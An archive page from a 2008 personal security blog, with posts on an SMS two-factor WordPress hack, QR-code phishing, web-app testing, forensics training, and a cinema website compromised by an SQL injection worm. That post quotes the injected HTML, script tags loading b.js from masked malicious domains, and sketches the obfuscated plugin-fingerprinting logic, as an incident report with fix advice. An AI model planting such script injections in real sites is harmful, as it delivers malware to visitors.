Two-Factor For All

…almost.

So, in the spirit of bringing ubiquitous two-factor authentication closer to the masses (because excuses are disappearing) I spent a few hours hacking together a Wordpress hack (plugin) that integrates Twitter’s direct message capabilities to provide a one time PIN when you log in to your Wordpress administration screen. The intent being that direct messages get sent to your mobile via SMS, hence SMS one time PIN generation, mimicking SMS PIN authentication as used by financial institutes.

Of course, by using this hack you introduce a number of dependencies, primarily that being Twitter’s service itself which doesn’t have a great track record, but also your mobile phone’s network. In addition, the fact that it is a hack, not a plugin, is also potentially a pitfall. The last issue is because I don’t actually know how to write a Wordpress plugin properly. Not for lack of trying, I can’t help it that one of the “pluggable” functions in Wordpress didn’t want to be overloaded. In fact, I’m not entirely sure that functions in version 2.6 can be overloaded(?).

I also have to admit that whilst the motivation is to introduce a second factor of authentication, such as a thing you know (your password) and a thing you have (your mobile phone), by using Twitter’s services you don’t actually need a mobile phone to get your PIN. So if you check your direct messages via the web interface, it’s actually a one-by-one factor authentication, not really two-factor, and we all know what 1 x 1 equals don’t we? But you get the point.

In regards to the good work done on the Phonefactor plugin I just want to comment that I was half way through this hack when I read about Phonefactor and it didn’t support calling Australia, so that meant I was out. The quality of their work is great though.

I’ll release the details soon..

Posted by Christian Posted in: Computers, Profession, Security, Web Development 6 Comments » 4 August 2008

Mobile Phishing Gets Easier

So Telstra has been promoting and advertising the imminent release of software updates for a large number of Australian mobile phone users that will allow their phones to read Quick Response Codes (QR Codes). The idea being that these barcodes can be put in magazines, on posters, on your bills, anywhere and it’s trivial for you to read the barcode with your mobile phone and be redirected to a website. In fact not just browse to a site, but save a contact, start an SMS or even call a number.

A colleague of mine at work has an N95 and he quickly discovered that his phone already had the software installed. Within minutes he was firing up the scanner at barcodes and to our surprise the technology appeared to work great. In fact, due to QR Codes being open (i.e. the specification is in the open) he was quickly creating his own barcodes. Think a physical, digital business card that can be instantly understood by your mobile phone.

The Problem
I’ve already started to hear some people commenting that perhaps this will be a great avenue for potential scammers to make mobile phone users visit sites that perhaps they don’t want to. Consider the scenario where you’re sitting at your bus stop and on the billboard next to you is a poster for the next upcoming movie release, and in the corner of the poster is a QR Code. Imagine you fire up your phone, point it at the code and click “Go”. The next thing you know your mobile phone is at a malicious website downloading a specially crafted piece of mobile malware.

I can see a couple of similarities between these QR Codes and URL shortening services such as tinyurl.com. Both offer a method to abstract and simplify a method to access more complicated information. Both don’t easily appear to disclose what they are hiding until perhaps it is too late. There has already been a number of people discussing the potential risks of these URL shortening services (one quick example is over from RISKS). I believe that these risks map almost one to one to QR Codes and automatic software on your mobile phone.

What next?
As these QR Codes become more ubiquitous maybe we’ll start seeing more people plastering phishing QR Code stickers over publicly exposed QR codes (Quishing? *erk* Someone shoot me). Maybe by making it easier for people to access mobile content we’ll see a spike in malicious mobile code. Maybe we’ll start to see an increase in bills which can be paid via your mobile phone, which in itself includes a whole host of risks.
Or maybe it will all just fizzle?

Posted by Christian Posted in: Computers, General, Profession, Security 1 Comment » 8 July 2008

Reverse Engineering Web Applications

Was having a discussion at work the other day with a colleague drawing parallels between current web application security/penetration testing and reverse engineering. I believe the comment was initially driven from the fact that a lot of the web app pen testing that we had been doing recently involved a large amount of client-side code (thanks a lot web two dot oh!), and that we had spent quite some time dissecting javascript trying to understand logic flows, and underlying service calls.

At first I was apprehensive about agreeing with him, immediately in my mind I was seeing a one-to-one relationship between reverse engineering and binary executable disassembly. I was thinking of reverse engineering as the process of running up a compiled, binary executable in something like IDA Pro, to map out how the executable functioned, or even the concept of network sniffing to understand a network protocol.

Of course, the more we discussed it, the more it started to make sense that perhaps web app sec testing was like reverse engineering. In the instance of the web application, we were actively trying to get a higher level understanding of what the application was doing, and how all its inter-related pieces functioned, trying to understand the relationship between the multiple frames, javascript files and functions, and of course the remote service calls. But there was still something that was making me differentiate between the two, and it came to me a few days later. (well one possible answer).

The difference being the goal of reverse engineering compared to web app sec testing. I was seeing web application security assessments as trying to uncover vulnerabilities, then using exploitation of the vulnerabilities to try and gain access to information or resources they shouldn’t be able to. (Tangent: Great couple of articles from Gnucitizen and Spylogic on the differences between Tiger Team Operations and Penetration Testing.) Whilst, in my limited understanding of reverse engineering, reverse engineering was more about ensuring that an executable wasn’t doing anything suspicious. More like malware reverse engineering, as opposed to traditional reverse engineering.

After reading the wiki about reverse engineering it become a lot clearer why they seemed to be related and yet different, even the term reverse engineering itself carries a degree of ambiguity. One of the quotes that wiki had that stuck out was “going backwards through the development cycle“, this term made a lot of sense with regards to the goal of reverse engineering, and even playing a small part in the goal of a pen test. And this is where I draw my twisted tale to its conclusion (or my conclusion from this twisted tale?).

Whilst the goals between reverse engineering and web application security penetration testing are quite different, most web app pen tests will include a component of reverse engineering to try and document and abstract what the application is doing. This is particularly the case due to the paradigm shift occurring at the moment with a lot of web apps pushing logic out to the client. So whilst a web app security test isn’t strictly reverse engineering, I think a lot of the same skills are used at different times.

Posted by Christian Posted in: Computers, Profession, Security, Web Development 1 Comment » 7 July 2008

No Excuses

If Blizzard is able to offer One Time Password Tokens for a MMORPG platform, then there is no longer a reason why your financial institute doesn’t offer the same. Be it fat tokens or SMS one-time text.

I’ve had a couple of conversations about what happens when the baseline for user authentication is reset. I believe in the next year or so that milestone will be crossed, where the majority of online systems which provide access to PII or finance data will have either authentication-level, or even transaction-level, second factor authentication/authorisation.

For the baddies, this means that their modus operandi will have to evolve as well, and perhaps we’ll see an increase in sophisticated, real-time phishing sites, or smarter and targeted malware or man-in-the-middle-ware. There’s just too much money and information out there for the stealing, so I can’t see them simply packing up their bags and calling it quits. It’ll be interesting to see what happens next.

Posted by Christian Posted in: Computers, Profession, Security, Web Development 2 Comments » 29 June 2008

That’s What I Want

It started with the online purchasing of movie tickets
Since I’ve been running with the NoScript addon within Firefox I’ve found that when pages try to load remote scripts they seem to be much more noticeable. This was particularly the case when over a month ago I was purchasing tickets online through one of our local, Australian cinema chains (Greater Union) and I ended up on the help page. In this instance, I had already temporarily allowed the primary site in NoScript so I could purchase the tickets (the site needed this functionality to work), but when the help page loaded NoScript advised me that there were another 6 domains with scripts that wanted to run. When I clicked the NoScript button at least 4 of those other domains did not appear legitimate, such as bin###.com, adw*.com, app##.com.

At the time I didn’t think much of this event and simply closed the help page and continued purchasing my tickets. I was in a rush of course and had to get to the movies to see Iron Man or something. A few days later I checked the page again and this time noticed that the scripts appeared to be pointing to different domains. When reviewing the HTML source it also became apparent that the javascript calls were not likely to be legitimate, as they seemed to be called inside ad-hoc <option> tags. For example:

<option value='cinebuzz_club#Cinebuzz Club<script src=http://www.hl***.com/b.js></script><script src=http://www.bin###.com/b.js></script><script src=http://www.apps##.com/b.js></script><script src=http://www.app##.com/b.js></script>'>Cinebuzz Club

The SQL Injection Worm
A quick Google search for “b.js” had a number of hits, but the article that provided the most information was the SANS Diary on “SQL Injection: More of the Same“. It appeared as if the first reported instance of this SQL Injection Worm was reported by SANS in May. The original summary of the vulnerability, as seen here, describes the javascript as opening a hidden iframe, which in turn opens up other iframes (dependent on your browser), eventually trying to download or execute a malicious piece of software.

The current incarnation of the site appears to be a little more advanced as the malicious domains hosting the b.js file appear to be fast-flux hosted, as written up here, and the content within the subsequent hidden iframe is obfuscated javascript (yay). But using the technique as described here (in fact the obfuscated javascript looked really similar) using Mozilla’s Rhino, the script eventually exposed the following logic:

• Set default values for 4 variables
• Loop through navigator.plugins looking for: QuickTime, Adobe Acrobat, Shockwave Flash
• For each of the 3 plugins, set a value for against one of the first 3 variables, depending on subsequent logic that looks at version numbers for each plugin
• Try and check that the video/x-ms-wmv is an enabled plugin, and set the 4th variable
• Construct a new target script URL dependant on the above variables, for example: evil##.com/cgi-bin/index.cgi?c82fc0be071f01200077e0ed58020000000002804b628eff00 + var1 + var2 + var3 + var4

I haven’t had much luck in getting the target website to produce anything other than a HTTP 500 response, but I’m assuming that depending on the parameter passed to index.cgi the server then spews out a different exploit or piece of malware.

The Problem
The primary concern I have with this piece of malicious javascript is the fact that Greater Union actively advertises and insists that their customers use the online channel for purchasing tickets. In fact, they’ve made it increasingly difficult to purchase tickets at the cinema itself because you then lose the ability to choose your seats. The only way to guarantee particular seats is to buy your tickets online. So we’re stuck in a situation where we are recommended to purchase tickets online, the only method of course is by submitting credit card information, and other portions of the website are hosting malicious javascript exploited by an underlying SQL Injection vulnerability. How do we know that the ticket-purchasing portion of the website doesn’t have similar vulnerabilities? The short answer is we don’t.

What exacerbates this is the fact that it’s been over a month and the vulnerability has not been fixed. In fact, if the target domains keep on changing, it implies that the site keeps on getting exploited. The “baddies” are updating their code, updating the malicious payloads, and are re-exploiting this site over and over again. This certainly impacts upon my trust in them as a provider to keep my personal information/credit card information protected. If their site is susceptible to a SQL Injection worm, then someone doing targeting hacking against the site is likely to uncover all sorts of information.

What can we do?
Moving this forward and trying to provide some sort of assistance, a couple of things I would recommend if I were in their shoes would be:

• Firstly I would find your vulnerability and patch/fix it. (There’s been a lot of talk about Scrawlr recently, that’s probably a good place to start).
• Secondly I would review the rest of the code base for any similar issues.
• Thirdly, start to put some strategy around embedding security within your development lifecycle (SDL/SDL-IT/Whatever), if it isn’t already in place.

Posted by Christian Posted in: Profession, Security 2 Comments » 28 June 2008

Telstra Malware at AusCERT and the Security Equals ‘No’ Dilemma

The past couple of weeks have been an absolute rollercoaster. Last week we had a fairly hectic one with a number of our guys attending AusCERT, and then this week was a combination of busy work and getting ill. I find making the decision to call in sick to be one of the more difficult decisions I have to make. Am I actually sick enough not to go to work? Will I make myself much sicker if I just muscle through it? Will I make other people sick? I’m always of two minds with this issue. This instance was probably a bit easier, as the Tuesday night I was waking up every hour or so with head and body aches and so making the call on the Wednesday was really simple.

One of the interesting items that came out of AusCERT that had us all talking, and scratching our heads wondering why popular press weren’t getting into it, was the news that Telstra accidentally distributed malware on USB thumb drives (and here) they were handing out. I guess popular media has more important things to talk about. I know it certainly makes you question whether or not you’d want to use them for security services. Of course, I understand that chances are this was a sales/marketing mistake and so doesn’t necessarily highlight the professionalism of the Telstra security folk.

Another interesting entry I read this week (or was it last week?.. my memories still a little shattered from the cold/flu) was Kees Leune’s post on Never say ‘no’. Kees talks about the all too common situation where security people are seen as the ‘no’ people (thought police, policy nazis, project killers, whatever). More often than not this is actually a perception problem. If the security person is doing their job right they should not be saying no, they should be identifying and highlighting risk. It’s the owners of the risk who are the people who are saying no, not the people identifying the risk. Usually risk assessors are positioned in such a way that they can’t even own a risk, so for them to be saying no would imply some break in the risk management framework.

I can definitely relate to this problem, and further so believe that once your department has developed that reputation it is a very difficult thing to change it. It’s not just a name change that will fix it, it’s almost an entire culture change that has to occur. I’m not completely sure I understand the answer to the problem, it falls into the bucket of ‘you just have to keep on working hard at it.’

Posted by Christian Posted in: Computers, Profession, Security No Comments » 30 May 2008

Forensic Acquisition Training

I was fortunate enough to attend a two-day crash course on forensic image acquisition last week. The trainer was Phillip Russo from CIA Solutions, whilst a local Perth boy he spends a huge amount of his time running training elsewhere around the world. The course covered the basics of forensic acquisition, traditional investigation skills and computer crime, integrity tools (hashing), checklists, chain of custody, to shutdown or not shutdown, dead versus live forensics, media types, write blockers (software versus hardware), imaging and image types, and a summary of tools.

One of the highlights for me personally was having an opportunity to discuss more of the court room and legal aspects of presenting evidence, as Phillip had a history of presenting in court in a number of different contexts. I think it was through his experience that he had methods of dissecting fairly difficult concepts, so much so that I imagine even the mums and dads out there could understand. A good example is the concept of file slack. Whilst I may have a fairly good understanding of what file slack is, trying to explain this to people who don’t have any history or experience with computer forensics, even savvy IT people, can be a fairly daunting task. Combine this with trying to explain how hard drives, partitions and file systems work and you certainly have a fairly large task in front of you.

Another highlight was the opportunity, not only to get hands on with hardware write blockers and AccessData’s FTK Imager, but also to combine this with real life scenarios and the process of documentation. Due to studying computer forensics at University I was fairly comfortable with the technical process of data acquisition, but combining this with the realistic process of documenting the acquisition, including chain of custody forms, was quite interesting and surprisingly difficult to do effectively.

The question was raised, whether or not if all the forms were transitioned into digital form, whether that would still be admissible in court. Whilst the concept could not be completely discounted, the fact that such records are not ‘tangible’ seemed to be quite an important factor for court room presentation. Judges and juries seem to have a better grasp of concepts when they can see the evidence in front of them. This certainly made sense to me, and obviously relates quite closely with the KISS principle. I think this also makes sense for this type of environment, probably more so than applying it to web application development for example, as you are already bombarding people with foreign and complex concepts, let alone trying to explain to them the principles of digital signatures of your ‘running sheet’, as opposed to your hand written notes.

Overall a worthwhile 2 days, and whilst it whetted my appetite for further training in forensic analysis, I’ll just have to leave that for another day.

Posted by Christian Posted in: Computers, Forensics, Profession, Security 1 Comment » 6 May 2008

Using Yahoo Pipes to Gather AU Data Disclosure Information

Whilst I whole-heartedly enjoy reading (chasing more like it) my 100 or so security blogs, sometimes the noise that’s generated by a couple of those blogs is overwhelming. One feed in particular, whilst been really interesting and providing a constant source of information, is also particularly good at being filled with white noise, and that is the PogoWasRight Privacy News Feed. When trying to squeeze in some feed reading time at work, I often find myself skimming this blog, or simply marking all items as read. Unfortunately, that means that from time to time I may miss an interesting privacy article or disclosure relating to Australia. I guess, until the Privacy Act is amended to mandate compulsory disclosures these types of articles only come around from time to time. Trying to engage and involve myself in the Australian information security profession often means that I have to be able to cite certain incidents that happened closer to home.

Introducing my first Web 2.0 MashUp. Actually, it’s more like a strip-down as it’s not so much as mashing data together as stripping it apart. By using Yahoo Pipes it was really simple to create a new feed which takes in the PogoWasRight feed, and then apply an advanced searching mechanism (read: item.title regex “^AU”) to output a new feed which is available here. (Who needs 1000 monkeys typing at 1000 type-writers?)

Now I’m sure there’s plenty of other really useful stuff that could be done, but I think this is a pretty good start. For all you other budding Mashers there’s plenty of documentation and training vids to be found within Yahoo Pipes

Posted by Christian Posted in: Profession, Security, Web Development No Comments » 4 March 2008

We Would Never Go To Work

I really enjoy following Schneier’s blog, and this post is a good example of why. He has this incredible nack of finding the crazy (in)security things that occur almost daily around the globe. An article from this post is about how a “Rig worker’s dream sparked a bomb alert”, and led to subsequent evacuation.

If this type of craziness ever made it’s way into my reality I would NEVER go to work due to dreams and nightmares etc.

Posted by Christian Posted in: Profession No Comments » 20 February 2008

Web Application Security Professionals Survey

Jeremiah Grossman has posted another “Web Application Security Professionals Survey“.

Previous surveys results are pretty interesting, as seen here, and I do believe that a number of themes will be unchanged. Such as, developers still don’t know or care enough about security, and that the general feedback on the effectiveness of tools to help with web app security is far from flattering.

Posted by Christian Posted in: Computers, Profession, Security, Web Development No Comments » 29 October 2007

« Previous Entries